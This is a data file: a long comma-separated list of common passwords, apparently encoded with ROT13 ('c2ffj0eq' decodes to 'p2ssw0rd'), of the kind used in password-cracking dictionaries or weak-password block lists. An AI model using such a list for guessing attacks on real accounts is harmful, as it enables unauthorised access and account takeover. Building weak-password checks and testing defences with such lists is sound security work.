cyr3,xnfrl1,znpxqnqql,naguba1,fhaalf,natry3,pevoontr,zbba1,qbany,oelpr1,cnaqnorne,zjff474,juvgrfgn,sernxre,197100,ovgpur,c2ffj0eq,gheao,gvxgbavx,zbbayvgr,sreerg1,wnpxnf,sreehz,ornepynj,yvoregl2,1qvnoyb,pnevor,fanxrrlrf,wnaonz,nmbavp,envaznxre,irgnyvx,ovtrnfl,onol1234,fherab13,oyvax1,xyhvireg,pnyornef,yninaqn,198600,qugyols,zrqirqrin,sbk123,juveyvat,obafpbgg,serrqbz9,bpgbore3,znabzna,frterqb,prehyrna,ebovafb,ofzvgu,synghf,qnaaba,cnffjbeq21,eeeeee1,pnyyvfgn,ebznv,envazna1,genagbe,zvpxrlzb,ohyyqbt7,t123456,cniyva,cnff22,fabjvr,ubbxnu,7bsavar,ohoon22,pnovoyr,avprenpx,zbbzbb1,fhzzre98,lblb123,zvyna1,yvrir27,zhfgnat69,wnpxfgre,rkbprg,anqrtr,dnm12,onunzn,jngfba1,yvoenf,rpyvcfr2,onuenz,oncrmz,hc9k8ejj,tuwpawm,gurznfgr,qrsyrc27,tubfg16,tnggnpn,sbgbtens,whavbe123,tvyore,towlgu,8iwmhf,ebfpb1,ortbavn,nyqronen,sybjre12,abinfgne,ohmmzna,znapuvyq,ybcrm1,znzn11,jvyyvnz7,lspam1,oynpxfgne,fchef123,zbbz4242,1nzore,vbjalbh,gvtugraq,07931505,cndhvgb,1wbuafba,fzbxrcbg,cv31415,fabjznff,nlnpqp,wrffvpnz,tvhyvnan,5gtoaul6,uneyrr,tvhyv,ovtjvt,gragnpyr,fpbhovqbh2,oraryyv,infvyvan,avzqn,284655,wnvuvaq,yreb4xn,1gbzzl,erttv,vqvqvg,wyolwkgpaqw,zvxr26,doreg,jjrenj,yhxnfm,ybbfrr123,cnynagve,syvag1,znccre,onyqvr,fnghear,ivetva1,zrrrrr,ryxpvg,vybirzr2,oyhr15,gurzbba,enqzve,ahzore3,fulnaar,zvffyr,unaarybe,wnfzvan,xneva1,yrjvr622,tuwpawdtsuwxz,oynfgref,bvfrnh,furryn,tevaqref,cnatrg,encvqb,cbfvgvi,gjvax,sygxols,xmfsw874,qnavry01,rawblvg,absntf,qbbqnq,ehfgyre,fdhrnyre,sbeghang,crnpr123,xuhfuv,qrivyf2,7vapurf,pnaqyrob,gbcqnjt,nezra,fbhaqzna,mkpdjrnfq,ncevy7,tnmrgn,argzna,ubccref,orne99,tuowuoaga,znagyr7,ovtob,unecb,wtbeqba,ohyyfuv,ivaal1,xevfua,fgne22,guhaqrep,tnyvaxn,cuvfu123,gvagnoyr,avtugpenjyre,gvtreobl,eoutok,zrffv,onfvyvfx,znfun1998,avan123,lbznzzn,xnlyn123,trrzbarl,0000000000q,zbgbzna,n3wgav,fre123,bjra10,vgnyvra,ivagrybx,12345erjd,avtugvzr,wrrcva,pu1gg1px,zklmcgyx,onaqvqb,buobl,qbpgbew,uhffne,fhcregrq,cnesvyri,tehaqyr,1wnpx,yvirfgebat,puevfw,znggurj3,npprff22,zbvxxn,sngbar,zvthryvg,gevivhz,tyraa1,fzbbpurf,urvxb,qrmrzore,fcnturgg,fgnfba,zbybxnv,obffqbt,thvgnezn,jnqreu,obevfxn,cubgbfub,cngu13,usegas,nhqer,whavbe24,zbaxrl24,fvyxr,inm21093,ovtoyhr1,gevqrag1,pnaqvqr,nepnahz,xyvaxre,benatr99,oratnyf1,ebfroh,zwhwhw,anyyrchu,zgjncn1n,enatre69,yriry1,ovffwbc,yrvpn,1gvssnal,ehgnortn,ryivf77,xryyvr1,fnzrnf,onenqn,xnenonf,senax12,dhrrao,gbhgbhar,fhespvgl,fnznagu1,zbavgbe1,yvggyrqb,xnmnxbin,sbqnfr,zvfgeny1,ncevy22,pneyvg,funxny,ongzna123,shpxbss2,nycun01,5544332211,ohqql3,gbjgehpx,xrajbbq1,isvrxzes,wxy123,clcfvx,enatre75,fvgtrf,gblzna,onegrx1,ynqltvey,obbzna,obrvat77,vafgnyyfdyfg,222666,tbfyvat,ovtznpx,223311,obtbf,xriva2,tbzrm1,kbumv3t4,xsawh842,xyhoavxn,phonyvoe,123456789101,xracb,0147852369,encgbe1,gnyyhynu,obbolf,wwbarf,1d2f3p,zbbtvr,ivq2600,nyznf,jbzong1,rkgen300,ksvyrf1,terra77,frkfrk1,urlwhqr,fnzzll,zvffl123,znvlrhrz,appcy25282,guvpyhi,fvffvr,enira3,syqwesa,ohfgre22,oebapbf2,ynheno,yrgzrva4,uneelqbt,fbybirl,svfuyvcf,nfqs4321,sbeq123,fhcrewrg,abejrtra,zbivrzna,cfj333333,vagbvg,cbfgonax,qrrcjngr,byn123,trbybt323,zheculf,rfubeg,n3rvyz2f2l,xvzbgn,orybhf,fnhehf,123321dnm,v81o4h,nnn12,zbaxrl20,ohpxjvyq,olnoloao,zncyryrnsf,lspamlspam,onol69,fhzzre03,gjvfgn,246890,246824,ygpauwgu,m1m2m3,zbavxn1,fnq123,hgb29321,ongubel,ivyyna,shaxrl,cbcgnegf,fcnz967888,705499su,fronfg,cbea1234,rnea381,1cbefpur,junggurs,123456789l,cbyb12,oevyyb,fbervyyl,jngref1,rhqben,nyybpuxn,vf_n_obg,jvagre00,onffcynl,531879svm,barzber,ownear,erq911,xbg123,neghe1,dnmkqe,p0eirggr,qvnzbaq7,zngrzngvpn,xyrfxb,ornire12,2ragre,frnfuryy,cnanz,punpuvat,rqjneq2,oebjav,krabtrne,pbeasrq,navenz,puvppb22,qnejva1,napryyn2,fbcuvr2,ivxn1998,naaryv,funja41,onovr,erfbyhgr,cnaqben2,jvyyvnz8,gjbbar,pbbef1,wrfhfvf1,gru012,purreyrn,erasvryq,grffn1,naan1986,znqarff1,oxzysu,19719870,yvrouree,px6mac42,tnel123,123654m,nyffpna,rlrqbp,zngevk7,zrgnytrn,puvavgb,4vgre,snypba11,7wbxk7o9qh,ovtsrrg,gnffnqne,ergahu,zhfpyr1,xyvzbin,qnevba,ongvfghgn,ovtfhe,1ureovre,abbavr,tuweruwu,xnevzbin,snhfghf,fabjjuvgr,1znantre,qnfobbg,zvpunry12,nanyshpx,vaorq,qjqehzf,wnlfbapw,znenaryy,ofurrc75,164379,ebybqrk,166666,eeeeeee1,nyznm666,167943,ehffry1,artevgb,nyvnam,tbbqchffl,irebavx,1j2d3e4r,rserzbi,rzo377,fqcnff,jvyyvnz6,nynasnul,anfgln1995,cnagure5,nhgbznt,123djr12,isis2011,svfur,1crnahg,fcrrqvr,dnmjfk1234,cnff999,171204w,xrgnzvar,furran1,raretvmre,hfrguvf1,123nop123,ohfgre21,gurpunzc,syiousx,senax69,punar,ubcrshy1,pynloveq,cnaqre,nahfun,ovtznkkk,snxgbe,ubhfrorq,qvzvqeby,ovtonyy,funfuv,qreol1,serql,qreivfu,obbglpnyy,80988218126,xvyyreo,purrfr2,cnevff,zlznvy,qryy123,pngoreg,puevfgn1,purilgeh,twtwqs,00998877,bireqevi,enggra,tbys01,allnaxf,qvanzvgr,oybrzoby,tvfzb,zntahf1,znepu2,gjvaxyrf,elna22,qhpxrl,118n105o,xvgpng,oevryyr,cbhffva,ynamnebg,lbhatbar,ffirtrgn,ureb63,onggyr1,xvyre,sxgepslyu1,arjren,ivxn1996,qlabzvgr,bbbccc,orre4zr,sbbqvr,ywuwhs,fbafuvar,tbqrff,qbht1,pbafgnap,guvaxovt,fgrir2,qnzalbh,nhgbtbq,jjj333,xlyr1,enatre7,ebyyre1,uneel2,qhfgva1,ubcnybat,gxnpuhx,o00ovrf,ovyy2,qrrc111,fghssvg,sver69,erqsvfu1,naqerv123,tencuvk,1svfuvat,xvzob1,zyrfc31,vshsxols,thexna,44556,rzvyl123,ohfzna,naq123,8546404,cnynqvar,1jbeyq,ohytnxbi,4294967296,oonyy23,1jjjjj,zlpngf,rynva,qrygn6,36363,rzvylo,pbybe1,6060842,pqgaxsles,urqbavfz,tstsesuxw,5551298,fphonq,tbfgngr,fvyylzr,uqovxre,orneqbja,svfuref,frxgbe,00000007,arjonol,encvq1,oenirf95,tngbe2,avttr,nagubal3,fnzzzl,bbh812,urssre,cuvfuva,ebknaar1,lbhenff,ubearg1,nyongbe,2521659,haqrejng,gnahfun,qvnanf,3s3scug7bc,qentba20,ovyobont,purebxr,enqvngvb,qjnes1,znwvx,33fg33,qbpuxn,tnevonyq,ebovau,funz69,grzc01,jnxrobne,ivbyrg1,1j2j3j,ertvfge,gbavgr,znenaryyb,1593570,cnebynzrn,tnyngnfnen,ybenagubf,1472583,nfzbqrna,1362840,fplyyn,qbarvg,wbxree,cbexlcvt,xhatra,zrepngbe,xbbyunnf,pbzr2zr,qroovr69,pnyorne,yvirecbbysp,lnaxrrf4,12344321n,xraalo,znqzn,85200258,qhfgva23,gubznf13,gbbyvat,zvxnfn,zvfgvp,pesaols,112233445,fbsvn1,urvam57,pbygf1,cevpr1,fabjrl,wbnxvz,znex11,963147,pauspaz,xmvagv,1ooooooo,ehooreqh,qbagungr,ehcreg1,fnfun1992,ertvf1,aohuojs,snaobl,fhaqvny,fbbare1,jnlbhg,iwawuwxs,qrfxceb,nexnatry,jvyyvr12,zvxrlo,prygvp1888,yhvf1,ohqql01,qhnar1,tenaqzn1,nbypbz,jrrzna,172839456,onffurnq,ubeaonyy,zntah,cntrqbja,zbyyl2,131517,esigtolua,nfgbazne,zvfgrel,znqnyvan,pnfu1,1unccl,furaybat,zngevk01,anmnebin,369874125,800500,jrothl,efr2540,nfuyrl2,oevnax,789551,786110,puhayv,w0anguna,terfuavx,pbhegar,fhpxzlpb,zwbyyave,789632147,nfqst1234,754321,bqrynl,enazn12,mrorqrr,negrz777,ozj318vf,ohgg1,enzoyre1,lnaxrrf9,nynonz,5j76eadc,ebfvrf,znsvbfb,fghqvb1,onolehgu,genamvg,zntvpny123,tsuwxz135,12345$,fbobyrin,709394,hovdhr,qevmmg1,ryzref,grnzfgre,cbxrzbaf,1472583690,1597532486,fubpxref,zrepxk,zrynavr2,ggbpf,pynevffr,rnegu1,qraalf,fyboore,syntzna,snesnyyn,gebvxn,4sn82ulk,unxna,k4jj5dqe,phzfhpx,yrngure1,sbehz1,whyl20,oneory,mbqvnx,fnzhry12,sbeq01,ehfusna,ohtfl1,vairfg1,ghznqer,fperjzr,n666666,zbarl5,urael8,gvqqyrf,fnvynjnl,fgneohef,100lrnef,xvyyre01,pbznaqb,uvebzv,enargxn,gubeqbt,oynpxubyr,cnyzrven,ireobgra,fbyvqfan,d1j1r1,uhzzr,xrivap,toeskr,trinhqna,unaanu11,crgre2,inatne,funexl7,gnyxgbzr,wrffr123,puhpuv,cnzzl,!dnmkfj2,fvrfgn,gjragl1,jrgjvyyl,477041,angheny1,fha123,qnavry3,vagrefgn,fuvgurnq1,uryylrn,obarguhtf,fbyvgnve,ohooyrf2,sngure1,avpx01,444000,nqvqnf12,qevcvx,pnzreba2,442200,n7am8546,erfchoyvxn,sxbwa6to,428054,fabccl,ehyrm1,unfyb,enpunry1,checyr01,myqrw102,no12pq34,plghruwkes,znquh,nfgebzna,cergrra,unaqfbss,zeoybaqr,ovttvb,grfgva,isquvs,gjbyirf,hapyrfnz,nfznen,xclqfxpj,yt2jztie,tebyfpu,ovneevgm,srngure1,jvyyvnzz,f62v93,obar1,crafxr,337733,336633,gnhehf1,334433,ovyyrg,qvnzbaqq,333000,ahxrz,svfuubbx,tbqbtf,guruha,yran1982,oyhr00,fzryyl1,hao4t9gl,65cwi22,nccyrtng,zvxruhag,tvnapneyb,xevyyva,sryvk123,qrprzore1,fbncl,46qbevf,avpbyr23,ovtfrkl1,whfgva10,cvath,onzobh,snypba12,qtgugy,1fhesre,djregl01,rfgeryyvg,asdpwl,rnfltb,xbavpn,dnmdjr,1234567890z,fgvatref,abaeri,3r4e5g,punzcvb,oooooo99,196400,nyyra123,frccry,fvzon2,ebpxzr,mroen3,grxxra3,raqtnzr,fnaql2,197300,svggr,zbaxrl00,ryqevgpu,yvggyrbar,eslstxm,1zrzore,66puril,bbuenu,pbeznp,uczeoz41,197600,tenlsbk,ryivf69,pryroevg,znkjryy7,ebqqref,xevfg,1pnzneb,oebxra1,xraqnyy1,fvyxphg,xngraxn,natevpx,znehav,17071994n,gxgls,xehrzry,fahssyrf,veb4xn,onol12,nyrkvf01,zneelzr,iynq1994,sbejneq1,phyreb,onqnobbz,znyiva,uneqgbba,ungrybir,zbyyrl,xabcb4xn,qhpurff1,zrafhpx,pon321,xvpxohgg,mnfgnin,jnlare,shpxlbh6,rqqvr123,pwxlfve,wbua33,qentbasv,pbql1,wnoryy,pwuwes,onqfrrq,fjrqra1,znevuhnan,oebjaybi,ryynaq,avxr1234,xjvrggvr,wbaalobl,gbtrcv,ovyylx,eboreg123,oo334,syberapv,fftbxh,198910,oevfgby1,obo007,nyyvfgre,lwqhwuwy,tnhybvfr,198920,oryynobb,9yvirf,nthvynf,jygst4gn,sbklebkl,ebpxrg69,svsgl50,ononyh,znfgre21,znyvabvf,xnyhtn,tbtbfbk,bofrffvb,lrnuevtu,cnaguref1,pncfgna,yvmn2000,yrvtu1,cnvagonyy1,oyhrfxvr,poe600s3,ontqnq,wbfr98,znaqerxv,funex01,jbaqreob,zhyrqrre,kfiaq4o2,unatgra,200001,teraqra,nanryy,ncn195,zbqry1,245yhscd,mvc100,tuwptgea,jreg1234,zvfgl2,puneeb,whnawbfr,sxopes,sebfgovg,onqzvagb,ohqqll,1qbpgbe,inaln,nepuvony,cneivm,fchaxl1,sbbgobl,qz6gmftc,yrtbyn,fnznquv,cbbcrr,lgqkm2pn,unyybjobl,qcbfgba,tnhgvr,gurjbez,thvyurezr,qbcrurnq,vyhigvgf,oboobo1,enatre6,jbeyqjne,ybjxrl,purjonpn,bbbbbb99,qhpggncr,qrqnyhf,pryhyne,8v9b0c,obevfraxb,gnlybe01,111111m,neyvatgb,c3aaljvm,eqtcy3qf,obboyrff,xpzsjrft,oynpxfno,zbgure2,znexhf1,yrnpuvz,frperg2,f123456789,1qreshy,rfcreb,ehffryy2,gnmmre,znelxngr,sernxzr,zbyylo,yvaqebf8,wnzrf00,tbsnfgre,fgbxebgxn,xvyobfvx,ndhnznaa,cnjry1,furqrivy,zbhfvr,fybg2009,bpgbore6,146969,zz259hc,oerjperj,pubhpub,hyvnan,frksvraq,sxgves,cnagff,iynqvzv,fgnem,furrcf,12341234d,ovtha,gvttref,pewuwpaz,yvogrpu,chqtr1,ubzr12,mvepba,xynhf1,wreel2,cvax1,yvathf,zbaxrl66,qhznff,cbybcbyb09,srhrejru,ewlngas,purffl,orrsre,funzra,cbbuorne1,4wwpub,oraarivf,sngtveyf,hwaoes,pqrkfjmnd,9abvmr9,evpu123,abzbarl,enprpne1,unpxr,pynunl,nphnevb,trgfhz,ubaqnpei,jvyyvnz0,purlraa,grpuqrpx,ngywuwqs,jgpnpd,fhtre,snyyranatry,onzzre,genadhvy,pneyn123,erynlre,yrfcnhy1,cbeginyr,vqbagab,olpaoara,gebbcre2,traanqvl,cbzcba,ovyyobo,nznmbaxn,nxvgnf,puvangbj,ngxoep,ohfgref,svgarff1,pngrlr,frysbx2013,1zhecul,shyyubhf,zhpxre,onwfxbei,arpgneva,yvggyrovgpu,ybir24,srlrabbe,ovtny37,ynzob1,chfflovgpu,vprphor1,ovtrq,xlbpren,yglopwqs,obbqyr,gurxvat1,tbgevpr,fhafrg1,noz1224,sebzzr,frkfryyf,vaurng,xraln1,fjvatre1,ncuebqvg,xhegpbonva,euvaq101,cbvqbt,cbvhyxwu,xhmzvan,ornagbja,gbal88,fghggtne,qehzre,wbndhv,zrffratr,zbgbezna,nzore2,avprtvey,enpury69,naqervn,snvgu123,fghqzhssva,wnvqra,erq111,igxzloe,tnzrpbpxf,thzcre,obffubtt,4zr2xabj,gbxlb1,xyrnare,ebnqubt,shpxzrab,cubravk3,frrzr,ohggahgg,obare69,naqerlxn,zlurneg,xngreva,ehtohea,wighrcvc,qp3hoa,puvyr1,nfuyrl69,unccl99,fjvffnve,onyyf2,slyuggqs,wvzobb,55555q,zvpxrl11,ibebava,z7ufdfgz,fghsss,zrergr,jrvuanpugr,qbjwbarf,onybb1,serrbarf,ornef34,nhohea1,orirey,gvzoreynaq,1ryivf,thvaarff1,obzonqvy,syngeba1,ybttvat7,gryrsbba,zrey1a,znfun1,naqerv1,pbjnohat,lbhfhpx1,1zngevk,crbcy,nfq123djr,fjrrgg,zveebe1,gbeeragr,wbxre12,qvnzbaq6,wnpxnebb,00000n,zvyyreyvgr,vebaubefr,2gjvaf,fgelxr,tttt1,mmmkkkppp,ebbfriry,8363rqql,natry21,qrcrpur1,q0pg0e,oyhr14,nerlbh,irybpr,teraqny,serqrevxforet,popagis,po207fy,fnfun2000,jnf.urer,sevgmm,ebfrqnyr,fcvabmn,pbxrvfvg,tnaqnys3,fxvqznex,nfuyrl01,12345w,1234567890dnm,frkkkkkk,orntyrf,yraaneg,12345789,cnff10,cbyvgvp,znk007,tpurpxbh,12345611,gvssl,yvtugzna,zhfuva,irybfvcrq,oehprjnlar,tnhguvr,ryran123,terrartt,u2bfxv,pybpxre,avgrzner,123321f,zrtvqqb,pnffvql1,qnivq13,obljbaqr,sybev,crttl12,ctfmg6zq,onggrevr,erqynaqf,fpbbgre6,opxurer,gehrab,onvyrl11,znkjryy2,onaqnan,gvzbgu1,fgnegabj,qhpngv74,gvrea,znkvar1,oynpxzrgny,fhmld,onyyn007,cungsnez,xvefgra1,gvgzbhfr,oraubtna,phyvgb,sbeova,purff1,jneera1,cnazna,zvpxrl7,24ybire,qnfpun,fcrrq2,erqyvba,naqerj10,wbuajnla,avxr23,punpun1,oraqbt,ohyylobl,tbyqgerr,fcbbxvr,gvttre99,1pbbxvr,cbhgvar,plpybar1,jbbqcbal,pnznyrha,oyhrfxl1,qsnqna,rntyrf20,ybiretvey,crrcfubj,zvar1,qvzn1989,ewqsxzkre,11111nnnnn,znpuvan,nhthfg17,1uuuuu,0773417x,1zbafgre,sernxfub,wnmmzva,qnivqj,xhehcg,puhzyl,uhttvrf,fnfuraxn,ppppppp1,oevqtr1,tvttnyb,pvapvaan,cvfgby1,uryyb22,qnivq77,yvtugsbb,yhpxl6,wvzzl12,261397,yvfn12,gnonyhtn,zlfvgr,oryb4xn,terraa,rntyr99,chaxenjx,fnyinqb,fyvpx123,jvpufra,xavtug99,qhzzlf,srsbyvpb,pbageren,xnyyr1,naan1984,qryenl,eboreg99,tneran,cergraqr,enprsna,nybaf,freranqn,yhqzvyyn,paugxwe,y0fjs9tk,unaxfgre,qsxglaoles,furrc1,wbua23,pi141no,xnylnav,944gheob,pelfgny2,oynpxsyl,mewqxgqs,rhf1fhr1,znevb5,evirecyngr,uneqqevi,zryvffn3,ryyvbgg1,frklovgp,pauslloe,wvzqnivf,obyyvk,orgn1,nzoreyrr,fxljnyx1,angnyn,1oybbq,oenggnk,fuvggl1,to15xi99,ebawba,ebguznaf,gurqbp,wbrl21,ubgobv,sverqnjt,ovzob38,wvoore,nsgrezng,abzne,01478963,cuvfuvat,qbzbqb,naan13,zngrevn,znegun1,ohqzna1,thaoynqr,rkpyhfvi,fnfun1997,nanfgnf,erorppn2,snpxlbh,xnyyvfgv,shpxzlnff,abefrzna,vcfjvpu1,151500,1rqjneq,vagryvafvqr,qnepl1,opevpu,lwqwpaos,snvygr,ohmmmm,pernz1,gngvnan1,7ryrira,terra8,153351,1n2f3q4s5t6u,154263,zvynab1,onzov1,oehvaf77,ehtol2,wnzny1,obyvgn,fhaqnlchapu,ohoon12,ernyznqe,islkgpagu,vjbwvzn,abgybo,oynpx666,inyxvevn,arkhf1,zvyyregv,oveguqnl100,fjvff1,nccbyyb,trsrfg,terrarlrf,pryroeng,gvtree,fynin123,vmhzehq,ohoonoho,yrtbzna,wbrfzvgu,xngln123,fjrrgqernz,wbua44,jjjjjjj1,bbbbbb1,fbpny,ybirfcbe,f5e8rq67f,258147,urvqvf,pbjobl22,jnpubivn,zvpunryo,djr1234567,v12345,255225,tbyqvr1,nysn155,45pbyg,fnsrh851,nagbabin,ybatgbat,1fcnexl,tsimaz,ohfra,uwyowl,jungrin,ebpxl4,pbxrzna,wbfuhn3,xrxfxrx1,fvebppb,wntzna,123456djreg,cuvahcv,gubznf10,ybyyre,fnxhe,ivxn2011,shyyerq,znevfxn,nmhpne,apfgngr,tyraa74,unyvzn,nyrfuxn,vybirzlyvsr,ireynng,onttvr,fpbhovqbh6,cungobl,woehgba,fpbbc1,onearl11,oyvaqzna,qrs456,znkvzhf2,znfgre55,arfgrn,11223355,qvrtb123,frkcvfgbyf,favssl,cuvyvc1,s12345,cevfbaoernx,abxvn2700,nwawhusn,lnaxrrf3,pbysnk,nx470000,zgazna,oqslrves,sbgonyy,vpuova,geroyn,vyhfun,evboenib,ornare1,gubenqva,cbyxnhqv,xhebfnjn,ubaqn123,ynqloh,inyrevx,cbygnin,fnivbyn,shpxlbhthlf,754740t0,nanyybir,zvpebyno1,whevf01,app1864,tnesvyq,funavn1,dntfhq,znxneraxb,pvaql69,yrorqri,naqerj11,wbuaalob,tebbil1,obbfgre1,fnaqref1,gbzzlo,wbuafba4,xq189aypvu,ubaqnzna,iynfbin,puvpx1,fbxnqn,frivfthe,orne2327,punpub,frkznavn,ebzn1993,uwpaopxsq,inyyrl1,ubjqvr,ghccrapr,wvznaqnaar,fgevxr3,l4xhm4,ausasas,gfhonfn,19955991,fpnool,dhvaphak,qvzn1998,hhhhhh1,ybtvpn,fxvaare1,cvathvab,yvfn1234,kcerffzhfvp,trgshpxrq,dddd1,oooo1,znghyvab,hylnan,hcfzna,wbuafzvgu,123579,pb2000,fcnaare1,gbqvrsbe,znatbrf,vfnory1,123852,arten,fabjqba,avxxv123,oebak1,obbbz,enz2500,puhpx123,sverobl,perrx1,ongzna13,cevaprffr,nm12345,znxfng,1xavtug,28vasrea,241455,e7112f,zhfryzna,zrgf1986,xnglqvq,iynq777,cynlzr,xzsqz1,nfffrk,1cevapr,vbc890,ovtoebgu,zbyylzbb,jnvgeba,yvmbggrf,125412,whttyre,dhvagn,0fvfgre0,mnaneqv,angn123,urpxslkoe,22d04j90r,ratvar2,avxvgn95,mnzven,unzzre22,yhgfpure,pnebyvan1,mm6319,fnazna,ishsysl,ohfgre99,ebffpb,xbheavxb,nttnejny,gnggbb1,wnavpr1,svatre1,125521,19911992,fuqjyaqf,ehqraxb,isiststs123,tnyngrn,zbaxrloh,whunav,cerzvhzpnfu,pynffnpg,qrivyznl,uryczr2,xahqqry,uneqcnpx,enzvy,creevg,onfvy1,mbzovr13,fgbpxpne,gbf8217,ubarlcvr,abjnlzna,nycunqbt,zryba1,gnyhyn,125689,gvevoba12,gbeavxr,unevoby,gryrsbar,gvtre22,fhpxn,yslgkes,puvpxra123,zhttvaf,n23456,o1234567,ylgqloe,bggre1,cvccn,infvyvfx,pbbxvat1,urygre,78978,orfgobl,ivcre7,nuzrq1,juvgrjby,zbzzlf,nccyr5,funmnz1,puryfrn7,xhzvxb,znfgrezn,enyylr,ohfuznfg,wxm123,ragene,naqerj6,anguna01,nynevp,gninfm,urvzqnyy,tenil1,wvzzl99,pguyjg,cbjree,tgugeugpawe,pnarfsna,fnfun11,loeoas_25,nhthfg9,oehpvr,negvpubx,neavr1,fhcreqhqr,gneryxn,zvpxrl22,qbbcre,yharef,ubyrfubg,tbbq123,trgglfoh,ovpub,unzzre99,qvivar5,1mkpioa,fgebamb,d22222,qvfar,ozj750vy,tbqurnq,unyybqh,nrevgu,anfgvx,qvssrera,prfgzbv,nzore69,5fgevat,cbeabfgn,qvegltvey,tvatre123,sbezry1,fpbgg12,ubaqn200,ubgfchef,wbuangun,svefgbar123,yrkznex1,zfpbasvt,xneyznfp,y123456,123djrnfqmk,onyqzna,fhatbq,shexn,ergfho,9811020,elqre1,gptylhrq,nfgeba,yoispoe,zvaqqbp,qveg49,onfronyy12,gorne,fvzcy,fpuhrl,negvzhf,ovxzna,cyng1ahz,dhnagrk,tbglbh,unvyrl1,whfgva01,ryynqn,8481068,000002,znavzny,qguwlokes,ohpx123,qvpx123,6969696,abfcnz,fgebat1,xbqrbeq,onzn12,123321j,fhcrezna123,tynqvbyhf,avagraq,5792076,qernztvey,fcnaxzr1,tnhgnz,nevnaan1,gvggv,grgnf,pbby1234,oryynqbt,vzcbegna,4206969,87r5apyvmel,grhsryb7,qbyyre,lsy.ves,dhnerfzn,3440172,zryvf,oenqyr,aaznfgre,snfg1,virefb,oynetu,yhpnf12,puevft,vnzfnz,123321nm,gbzwreel,xnjvxn,2597174,fgnaqerj,ovyylt,zhfxna,tvmzbqb2,em93dczd,870621345,fnguln,dzrmekt4,wnahnev,znegur,zbbz4261,phz2zr,uxtre286,ybh1988,fhpxvg1,pebnxre,xynhqvn1,753951456,nvqna1,sfhabyrf,ebznaraxb,noolqbt,vfgurorf,nxfunl,pbetv,shpx666,jnyxzna555,enatre98,fpbecvna,uneqjnervq,oyhrqentba,snfgzna,2305822d,vqqdqvqqdq,1597532,tbcbxrf,misespo,j1234567,fchgavx1,ge1993,cn$$j0eq,2v5sqehi,uniibp,1357913,1313131,oaz123,pbjq00q,syrkfpna,gurfvzf2,obbtvrzn,ovtfrkkl,cbjrefge,atp4565,wbfuzna,onolobl1,123wyo,shashash,djr456,ubabe1,chggnan,oboolw,qnavry21,chffl12,fuzhpx,1232580,123578951,znkgurqb,uvgurer1,obaq0007,truraan,abznzrf,oyhrbar,e1234567,ojnan,tngvaub,1011111,gbeeragf,pvagn,123451234,gvtre25,zbarl69,rqvorl,cbvagzna,zzpz19,jnyrf1,pnsserlf,cunrqen,oybbqyhf,321erg32,ehshff,gneovg,wbnaan1,102030405,fgvpxobl,ybgesbge34,wnzfuvq,zpyneras1,ngnzna,99sbeq,lneenx,ybtna2,vebayhat,chfuvfgvx,qentbba1,hapyrobo,gvtrerlr,cvabxvb,glyrew,zreznvq1,fgrivr1,wnlyra,888777,enznan,ebzna777,oenaqba7,17711771f,guvntb,yhvtv1,rqtne1,oehprl,ivqrbtnz,pynffv,oveqre,snenzve,gjvqqyr,phonyvoer,tevmml,shpxl,wwijq4,nhthfg15,vqvanuhv,enavgn,avxvgn1998,123342,j1j2j3,78621323,4pnapry,789963,(ahyy,inffntb,wnlqbt472,123452,gvzg42,pnanqn99,123589,erorabx,uglsas,785001,bfvcbi,znxf123,arirejvagre,ybir2010,777222,67390436,ryrnabe1,olxrzb,ndhrzvav,sebtt,ebobgb,gubeal,fuvczngr,ybtpnova,66005918,abxvna,tbambf,ybhvfvna,1nopqrst,gevnguyb,vybirzne,pbhtre,yrgzrvab,fhcren,ehaif,svobanppv,zhggyl,58565254,5gutodv,isarufi,ryrpge,wbfr12,negrzvf1,arjybir,guq1fue,unjxrl,tevtbelna,fnvfun,gbfpn,erqqre,yvsrfhk,grzcyr1,ohaalzna,gurxvqf,fnoorgu,gnemna1,182838,158hrsnf,qryy50,1fhcre,666222,47qf8k,wnpxunzz,zvarbayl,esasuols,048eb,665259,xevfgvan1,obzoreb,52545856,frpher1,ovtybfre,crgrex,nyrk2,51525354,nanepul1,fhcrek,grrafyhg,zbarl23,fvtzncv,fnasenapvfpb,npzr34,cevingr5,rpyvcf,djreggerjd,nkryyr,xbxnva,uneqthl,crgre69,wrfhfpue,qlnaan,qhqr69,fnenu69,gblbgn91,nzoree,45645645,ohtzrabg,ovtgrq,44556677,556644,jje8k9ch,nycunbzr,uneyrl13,xbyvn123,jrwecsch,eriryngv,anveqn,fbqbss,pvglobl,cvaxchffl,qxnyvf,zvnzv305,jbj12345,gevcyrg,gnaaraonh,nfqsnfqs1,qnexubef,527952,ergverq1,fbksna,aslm123,37583867,tbqqrf,515069,tkyzkorjlz,1jneevbe,36925814,qzo2011,gbcgra,xnecbin,89876065093enk,anghenyf,tngrjnl9,prcfrbha,gheobg,493949,pbpx22,vgnyvn1,fnfnsenf,tbcavx,fgnyxr,1dnmkqe5,jz2006,npr1062,nyvrin,oyhr28,nenpry,fnaqvn,zbgbthmm,greev1,rzznwnar,pbarw,erpbon,nyrk1995,wrexlobl,pbjobl12,neraebar,cerpvfvb,31415927,fpfn316,cnamre1,fghqyl1,cbjreubh,orafnz,znfubhgd,ovyyrr,rrlber1,erncr,gurorngy,ehy3m,zbagrfn,qbbqyr1,pimrsu1tx,424365,n159753,mvzzrezn,thzqebc,nfunzna,tevzernc,vpnaqbvg,obebqvan,oenapn,qvzn2009,xrljrfg1,inqref,ohoyhx,qvnibyb,nffff,tbyrgn,rngnff,ancfgre1,382436,369741,5411cvzb,yrapuvx,cvxnpu,tvytnzrfu,xnyvzren,fvatre1,tbeqba2,ewlpaoarjom,znhyjhes,wbxre13,2zhpu4h,obaq00,nyvpr123,ebobgrp,shpxtvey,mtwlom,erqubefr,znetnerg1,oenql1,chzcxva2,puvaxl,sbhecynl,1obbtre,ebvfva,1oenaqba,fnaqna,oynpxurneg,purrm,oynpxsva,pagtslwqs,zlzbarl1,09080706,tbbqobff,froevat1,ebfr1,xrafvatg,ovtobare,znephf12,lz3pnhgw,fgehccv,gurfgbar,ybirohtf,fgngre,fvyire99,sberfg99,dnmjfk12345,infvyr,ybatobne,zxbawv,uhyvtna,euspoqsm,nveznvy,cbea11,1bbbbb,fbsha,fanxr2,zfbhgujn,qbhtyn,1vprzna,funuehxu,funeban,qentba666,senapr98,196800,196820,cf253535,mwfrf9ricn,favcre01,qrfvta1,xbasrgn,wnpx99,qehz66,tbbq4lbh,fgngvba2,oehprj,ertrqvg,fpubby12,zigae765,cho113,snagnf,gvoheba1,xvat99,tuwpawtocygj,purpxvgb,308jva,1ynqloht,pbearyvh,firgnfirgn,197430,vpvpyr,vznpprff,bh81269,wwwqfy,oenaqba6,ovzob1,fzbxrr,cvppbyb1,3611wp